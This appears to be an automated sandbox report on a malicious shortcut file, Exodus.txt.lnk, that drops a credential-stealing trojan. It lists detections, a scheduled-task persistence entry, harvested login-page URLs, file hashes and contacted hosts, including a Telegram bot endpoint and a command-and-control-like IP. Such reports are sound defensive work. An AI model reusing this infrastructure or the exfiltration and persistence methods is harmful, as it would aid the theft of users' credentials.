Employee Names	Virtual Private Server	Local Accounts	4 PowerShell	11 Registry Run Keys / Startup Folder	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	351 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	11 Process Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	111 Masquerading	Cached Domain Credentials	161 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	161 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Exodus.txt.lnk	55%	ReversingLabs	Shortcut.Trojan.WinLnk
Exodus.txt.lnk	56%	Virustotal		Browse
Exodus.txt.lnk	100%	Avira	LNK/Dropper.VPOO
Exodus.txt.lnk	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	100%	Avira	HEUR/AGEN.1313362
C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	79%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno

Source	Detection	Scanner	Label
https://www.themakersmob.com/register/resend	0%	Avira URL Cloud	safe
https://todoenartes.com/register	0%	Avira URL Cloud	safe
https://www.vova.com/es/login.php	0%	Avira URL Cloud	safe
http://www.woodsmithvideotips.com/home	0%	Avira URL Cloud	safe
https://www.miclaroapp.com.co/	0%	Avira URL Cloud	safe
http://128.199.113.162	0%	Avira URL Cloud	safe
http://www.woodsmithlibrary.com/login/	0%	Avira URL Cloud	safe
file:///C:/Users/user/AppData/Local/Temp/p.html	0%	Avira URL Cloud	safe
https://webmail.telmex.net.co/app/s/LoginPage.asp	0%	Avira URL Cloud	safe
https://resultados.lch.com.co/ingresar	0%	Avira URL Cloud	safe
https://www.woodsmithlibrary.com/account/password/reset/complete/	0%	Avira URL Cloud	safe
https://portal.vectric.com/register/9W7jITU6QgSBfrIhb_0UOw	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	142.250.186.132	true	false	high
api.mylnikov.org	104.21.44.66	true	false	high
api.telegram.org	149.154.167.220	true	false	high
icanhazip.com	104.16.185.241	true	false	high
246.229.1.0.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://icanhazip.com/	false		high
file:///C:/Users/user/AppData/Local/Temp/p.html	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.vova.com/es/login.php	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false	Avira URL Cloud: safe	unknown
https://wieistmeineip.de	sets.json.7.dr	false		high
https://mercadoshops.com.co	sets.json.7.dr	false		high
https://mercadolivre.com	sets.json.7.dr	false		high
https://www.pinterest.es/	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false		high
http://www.woodsmithvideotips.com/home	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false	Avira URL Cloud: safe	unknown
https://easylist.to/)	LICENSE.txt.7.dr	false		high
https://medonet.pl	sets.json.7.dr	false		high
https://mercadoshops.com.br	sets.json.7.dr	false		high
https://johndeere.com	sets.json.7.dr	false		high
https://todoenartes.com/register	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false	Avira URL Cloud: safe	unknown
https://www.themakersmob.com/register/resend	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false	Avira URL Cloud: safe	unknown
https://baomoi.com	sets.json.7.dr	false		high
https://elfinancierocr.com	sets.json.7.dr	false		high
https://bolasport.com	sets.json.7.dr	false		high
https://desimartini.com	sets.json.7.dr	false		high
https://hearty.app	sets.json.7.dr	false		high
https://mercadoshops.com	sets.json.7.dr	false		high
https://nlc.hu	sets.json.7.dr	false		high
https://p106.net	sets.json.7.dr	false		high
https://radio2.be	sets.json.7.dr	false		high
https://songshare.com	sets.json.7.dr	false		high
https://smaker.pl	sets.json.7.dr	false		high
http://128.199.113.162	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416F09000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://p24.hu	sets.json.7.dr	false		high
https://24.hu	sets.json.7.dr	false		high
https://mightytext.net	sets.json.7.dr	false		high
https://hazipatika.com	sets.json.7.dr	false		high
https://joyreactor.com	sets.json.7.dr	false		high
http://crl.ver)	svchost.exe, 0000000C.00000002.3314009438.000001D9C3800000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wildixin.com	sets.json.7.dr	false		high
https://eworkbookcloud.com	sets.json.7.dr	false		high
https://chennien.com	sets.json.7.dr	false		high
https://www.ecosia.org/newtab/	tmp1201676045.exe, 00000004.00000002.2330412278.000001F7100CC000.00000004.00000800.00020000.00000000.sdmp, tmp57B1.tmp.dat.4.dr, tmp717B.tmp.dat.4.dr	false		high
https://www.paypal.com/webapps/hermes	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false		high
https://drimer.travel	sets.json.7.dr	false		high
http://www.instructables.com/id/DIY-Chess-Board/	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false		high
https://mercadopago.cl	sets.json.7.dr	false		high
https://naukri.com	sets.json.7.dr	false		high
https://interia.pl	sets.json.7.dr	false		high
https://bonvivir.com	sets.json.7.dr	false		high
https://sapo.io	sets.json.7.dr	false		high
https://wpext.pl	sets.json.7.dr	false		high
https://welt.de	sets.json.7.dr	false		high
https://poalim.site	sets.json.7.dr	false		high
https://drimer.io	sets.json.7.dr	false		high
https://infoedgeindia.com	sets.json.7.dr	false		high
https://blackrockadvisorelite.it	sets.json.7.dr	false		high
https://cognitive-ai.ru	sets.json.7.dr	false		high
http://api.telegram.org	tmp1201676045.exe, 00000004.00000002.2290707674.000001F7006E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cafemedia.com	sets.json.7.dr	false		high
https://graziadaily.co.uk	sets.json.7.dr	false		high
https://thirdspace.org.au	sets.json.7.dr	false		high
https://mercadoshops.com.ar	sets.json.7.dr	false		high
https://www.amazon.com/ap/forgotpassword	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false		high
https://commentcamarche.com	sets.json.7.dr	false		high
https://rws3nvtvt.com	sets.json.7.dr	false		high
https://www.miclaroapp.com.co/	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadolivre.com.br	sets.json.7.dr	false		high
https://clmbtech.com	sets.json.7.dr	false		high
https://salemovefinancial.com	sets.json.7.dr	false		high
https://mercadopago.com.br	sets.json.7.dr	false		high
https://commentcamarche.net	sets.json.7.dr	false		high
https://hj.rs	sets.json.7.dr	false		high
https://hearty.me	sets.json.7.dr	false		high
https://mercadolibre.com.gt	sets.json.7.dr	false		high
https://indiatodayne.in	sets.json.7.dr	false		high
https://idbs-staging.com	sets.json.7.dr	false		high
https://mercadolibre.co.cr	sets.json.7.dr	false		high
https://prisjakt.no	sets.json.7.dr	false		high
https://kompas.com	sets.json.7.dr	false		high
https://wingify.com	sets.json.7.dr	false		high
https://player.pl	sets.json.7.dr	false		high
https://webmail.telmex.net.co/app/s/LoginPage.asp	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadopago.com.ar	sets.json.7.dr	false		high
https://mercadolibre.com.hn	sets.json.7.dr	false		high
https://tucarro.com.co	sets.json.7.dr	false		high
https://een.be	sets.json.7.dr	false		high
https://terazgotuje.pl	sets.json.7.dr	false		high
https://www.banggood.com/login.html	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.12.dr	false		high
http://www.woodsmithlibrary.com/login/	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false	Avira URL Cloud: safe	unknown
https://intoday.in	sets.json.7.dr	false		high
https://resultados.lch.com.co/ingresar	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false	Avira URL Cloud: safe	unknown
https://carcostadvisor.com	sets.json.7.dr	false		high
https://mercadopago.com.co	sets.json.7.dr	false		high
https://caracoltv.com	sets.json.7.dr	false		high
https://mercadolibre.com	sets.json.7.dr	false		high
https://mittanbud.no	sets.json.7.dr	false		high
https://www.woodsmithlibrary.com/account/password/reset/complete/	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	tmp1201676045.exe, 00000004.00000002.2290707674.000001F7006B3000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://startlap.hu	sets.json.7.dr	false		high
https://portal.vectric.com/register/9W7jITU6QgSBfrIhb_0UOw	tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	false	Avira URL Cloud: safe	unknown
https://dewarmsteweek.be	sets.json.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 0000000C.00000003.2143835501.000001D9C35A0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr	false		high
https://cricbuzz.com	sets.json.7.dr	false		high
https://elpais.com.uy	sets.json.7.dr	false		high
https://mercadolibre.com.uy	sets.json.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.44.66	api.mylnikov.org	United States	13335	CLOUDFLARENETUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
128.199.113.162	unknown	United Kingdom	14061	DIGITALOCEAN-ASNUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.16.185.241	icanhazip.com	United States	13335	CLOUDFLARENETUS	false
142.250.186.132	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589032
Start date and time:	2025-01-11 08:40:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Exodus.txt.lnk
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winLNK@70/166@8/8
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 142.250.186.163, 142.250.186.110, 66.102.1.84, 172.217.23.110, 216.58.206.78, 216.58.206.46, 2.23.242.162, 2.22.50.131, 192.229.221.95, 142.250.186.78, 172.217.16.206, 142.250.185.238, 34.104.35.123, 142.250.185.78, 142.250.186.46, 199.232.210.172, 142.250.186.174, 142.250.184.206, 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, edgedl.me.gvt1.com, e16604.g.akamaiedge.net, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net, d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa
Execution Graph export aborted for target powershell.exe, PID 6176 because it is empty
Execution Graph export aborted for target tmp1201676045.exe, PID 7696 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:41:40	API Interceptor	16x Sleep call for process: powershell.exe modified
02:41:47	API Interceptor	111x Sleep call for process: tmp1201676045.exe modified
02:41:48	API Interceptor	2x Sleep call for process: svchost.exe modified
08:41:48	Task Scheduler	Run new task: WinTask path: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.44.66	JGvCEaqruI.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	cOH7jKmo25.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
	client2.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	WinRAR 7.01 Pro.exe	Get hash	malicious	PureLog Stealer, WorldWind Stealer	Browse
	PasteHook.exe	Get hash	malicious	AsyncRAT, DCRat, StormKitty, WorldWind Stealer, Xmrig	Browse
	viVOqZjAT0.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	Kh7W85ONS7.exe	Get hash	malicious	AsyncRAT, DarkTortilla, StormKitty, WorldWind Stealer	Browse
	zrrHgsDzgS.exe	Get hash	malicious	AsyncRAT, PureLog Stealer, StormKitty, WorldWind Stealer, zgRAT	Browse
149.154.167.220	h8izmpp1ZM.exe	Get hash	malicious	MassLogger RAT	Browse
	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	JWPRnfqs3n.exe	Get hash	malicious	MassLogger RAT	Browse
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
128.199.113.162	HTZ4az17lj.exe	Get hash	malicious	StormKitty	Browse	128.199.113.162/XtfcshEgt/upwawsfrg.php
128.199.113.162	chrome.exe	Get hash	malicious	Metasploit	Browse	128.199.113.162/upwawsfrg.php
239.255.255.250	Yv24LkKBY6.exe	Get hash	malicious	Unknown	Browse
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse
	https://freesourcecodes70738.emlnk.com/lt.php?x=3DZy~GDLVnab5KCs-Nu4WOae1qEoiN9xvxk1XaPMVXahD5B9-Uy.xuW-242imNX	Get hash	malicious	Unknown	Browse
	https://youtube.com0x360x380x370x340x370x340x370x300x370x330x330x610x320x660x320x660x360x310x360x640x360x360x370x320x320x650x370x320x370x350x320x660x370x320x360x620x320x650x370x300x360x380x370x300x330x660x360x390x360x340x330x640x330x320x330x300x330x300x320x360x370x330x360x390x370x340x360x350x350x660x360x390x360x340x330x640x370x330x330x310x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x320x360x310x360x650x360x650x360x350x370x320x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x330x360x630x360x390x360x330x360x620x320x360x360x350x370x360x360x350x360x650x370x340x330x330x330x640x330x310x320x620x320x350x330x320x340x360x320x620x320x350x330x350x340x320x330x320x330x350x330x300x320x350x330x350x340x340x320x620x320x350x330x350x340x320x360x390x360x650x360x340x360x350x370x380x350x660x360x320x350x660x360x330x320x350x330x350x340x340x320x620x320x350x340x340x330x300x320x350x330x390x330x330x320x350x340x340x330x300x320x350x340x320x340x320x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x300x320x350x340x320x330x320x320x350x340x340x330x300x320x350x340x320x340x340x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x310x320x350x330x380x340x360x320x620x320x350x340x340x330x310x320x350x330x380x330x310x320x350x340x340x330x310x320x350x330x380x330x320x320x350x340x340x330x340x370x380x360x340x390x320x390x330x370x320x330x300x390x340x370x330x340x300x330x340x2d0x380x380x340x330x340x370x330x340x300x340x390x300x350x370x330x370x340x330x300x340x300x330x340x380x320x2d0x340x300x390x340x380x2d0x320x2d0x340x380x380x320x2d0x330x320x380x380x340x370x370x320x390x390x320x380x380x380x340x370x340x370x320x390x300x340x390x340x370x320x340x300x380x320x340x370x340x370x320x620x320x640x320x620x320x350x340x340x330x300x320x350x330x390x330x340x320x350x340x340x330x300x320x350x340x320x330x350x320x350x340x340x330x300x320x350x340x320x340x330x320x350x340x340x330x300x320x350x340x320x330x380x320x350x340x340x330x300x320x350x340x320x340x310x320x350x340x340x330	Get hash	malicious	Unknown	Browse
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	Unknown	Browse
	http://www.jadavisinjurylawyers.com/	Get hash	malicious	Unknown	Browse
	http://txto.eu.org/	Get hash	malicious	Unknown	Browse
	https://noiclethomas.wixsite.com/rice	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0(4).eml	Get hash	malicious	Unknown	Browse
	https://app.online.mt.com/e/es?s=961579678&e=14507707&elqTrackId=4f40dcb3a3854013ad3a46d461cc3aff&elq=5140e028df1a42afab491350388fd129&elqaid=221811&elqat=1&elqcst=272&elqcsid=2325629&elqak=8AF5D97DFF9E423CC7C7524F5CA3C1A86F5F67341B9DF612D5A2FB20DE928F2AA351	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.mylnikov.org	JGvCEaqruI.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.21.44.66
	cOH7jKmo25.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.21.44.66
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.21.44.66
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	Invoice-BL. Payment TT $ 28,945.99.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, StormKitty, VenomRAT	Browse	172.67.196.114
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	172.67.196.114
	VzhY4BcvBH.exe	Get hash	malicious	AsyncRAT, RedLine, StormKitty, VenomRAT	Browse	172.67.196.114
	d29z3fwo37.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	client.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
api.telegram.org	h8izmpp1ZM.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	JWPRnfqs3n.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
icanhazip.com	JGvCEaqruI.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.16.185.241
	cOH7jKmo25.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.16.184.241
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.16.184.241
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.16.185.241
	bc7EKCf.exe	Get hash	malicious	StormKitty	Browse	104.16.185.241
	Invoice-BL. Payment TT $ 28,945.99.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.16.184.241
	bPkG0wTVon.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	zyEDYRU0jw.exe	Get hash	malicious	Arcane	Browse	104.16.184.241
	zyEDYRU0jw.exe	Get hash	malicious	Arcane	Browse	104.16.184.241
	itLDZwgFNE.exe	Get hash	malicious	Flesh Stealer	Browse	104.16.184.241

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	h8izmpp1ZM.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	JWPRnfqs3n.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	dhPWt112uC.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	h8izmpp1ZM.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	z6tNjJC614.exe	Get hash	malicious	FormBook	Browse	104.21.42.77
	b0cQukXPAl.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	lrw6UNGsUC.exe	Get hash	malicious	XWorm	Browse	104.20.4.235
	Q7QR4k52HL.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	rACq8Eaix6.exe	Get hash	malicious	FormBook	Browse	104.21.88.139
	JWPRnfqs3n.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	xNuh0DUJaG.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
DIGITALOCEAN-ASNUS	6.elf	Get hash	malicious	Unknown	Browse	157.245.133.81
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	174.138.88.129
	https://probashkontho.com/work/Organization/privacy/index_.html	Get hash	malicious	Unknown	Browse	188.166.2.160
	zE1VxVoZ3W.exe	Get hash	malicious	FormBook	Browse	142.93.62.161
	Setup.exe	Get hash	malicious	Unknown	Browse	159.203.177.96
	Setup.exe	Get hash	malicious	Unknown	Browse	161.35.127.181
	Setup.exe	Get hash	malicious	Unknown	Browse	161.35.127.181
	https://ctrk.klclick3.com/l/01JGXREPA9AKCFABSME4GFWDDZ_0#YWxhaW5femllZ2xlckB6aWVnbGVyZ3JvdXAuY29t	Get hash	malicious	Unknown	Browse	165.22.210.101
	http://www.jmclmedia.ph	Get hash	malicious	Unknown	Browse	206.189.225.178
	5.elf	Get hash	malicious	Unknown	Browse	157.245.182.61

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	dhPWt112uC.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 149.154.167.220
	h8izmpp1ZM.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.44.66 149.154.167.220
	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.44.66 149.154.167.220
	lrw6UNGsUC.exe	Get hash	malicious	XWorm	Browse	104.21.44.66 149.154.167.220
	JWPRnfqs3n.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.44.66 149.154.167.220
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.44.66 149.154.167.220
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.44.66 149.154.167.220
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.44.66 149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.44.66 149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.44.66 149.154.167.220

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.9064549735133199
Encrypted:	false
SSDEEP:	3072:gJjJGtpTq2yv1AuNZRY3diu8iBVqFtZLpTGLpBLpmNCBNJN:hpezNZQd58iGLpTGLpBLp
MD5:	1A066C51045803B4B41F7809C2486E3E
SHA1:	D4A30942321194A5457841A13BE6AAB54A37988E
SHA-256:	1201652438FC66D6F3E29738E65E1DF014453EC75EB6E7BAE748A99D3E76AF52
SHA-512:	F8A0C03E7961935B430125D1671C987C7BCAE3A7DE2265D427198724E0FDA0BB2662FDC37D5F0821C1FC022C4EAB2587EA1938C21E6C07E3888B6ED563435561
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
